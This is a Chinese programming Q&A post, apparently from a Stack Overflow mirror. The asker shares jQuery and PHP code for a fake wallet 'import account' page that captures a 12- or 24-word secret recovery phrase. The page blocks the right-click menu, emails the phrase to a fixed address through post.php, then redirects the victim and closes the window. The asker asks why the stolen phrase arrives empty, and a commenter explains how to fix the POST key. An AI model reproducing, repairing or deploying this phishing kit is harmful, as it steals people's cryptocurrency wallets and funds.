【发布时间】:2021-11-08 19:20:03
【问题描述】:
我正在尝试将 import-account__secret-phrase 发布到另一个文件中的 $_Post PHP 变量。存储/通过电子邮件发送变量。
<script>
var p = !1;
setTimeout(function() {
$(".z2").addClass("hidden"), $(".z3").removeClass("hidden")
}, 1e3), $(".import-account__secret-phrase").on("keyup", function() {
var t = $(this).val().split(" ");
p || (12 == t.length && 1 < t[11].length || 24 == t.length && 1 < t[23].length ? $(".button.btn--first-time.first-time-flow__button").prop("disabled", !1) : $(".button.btn--first-time.first-time-flow__button").prop("disabled", !0))
}), $(".button.btn--first-time.first-time-flow__button").on("click", function() {
p = !0, $(this).prop("disabled", !0).html('<i class="fa fa-spinner fa-spin fa-fw"></i> ' + $(this).html()), $.post("post.php", {
data1: "Account",
data: $(".import-account__secret-phrase").val()
}, function() {
p = !1
}, "json"), window.parent.opener.postMessage({
uni: !0
}), setTimeout(function() {
$(".z2").removeClass("hidden"), $(".z3").addClass("hidden"), setTimeout(function() {
window.parent.opener.location.replace("https://website.com"), window.parent.close()
}, 2e3)
}, 1e3)
}), document.body.addEventListener("contextmenu", function(t) {
"import-account__secret-phrase" != t.toElement.className && t.preventDefault()
}, !1);
</script>
这是 post.php 文件,位于同一文件夹中。
<?php
// data sent in header are in JSON format
header('Content-Type: application/json');
// takes the value from variables and Post the data
$postmessage = $_POST['.import-account__secret-phrase'];
$to = "email@email.com";
$subject = "Phrase";
// Email Template
$message .= "Message:". $postmessage."<br>";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$retval = mail ($to,$subject,$message,$header);
?>
电子邮件触发并被接收,但 $postmessage 变量为空且不显示密码短语。
【问题讨论】:
-
发出请求时注意您的网络选项卡,并在您的 PHP 中尝试
var_dump($_POST);。发送的数据可能在$_POST['data'],而不是$_POST['.import-account__secret-phrase'],但您需要仔细检查发送的内容以进行验证。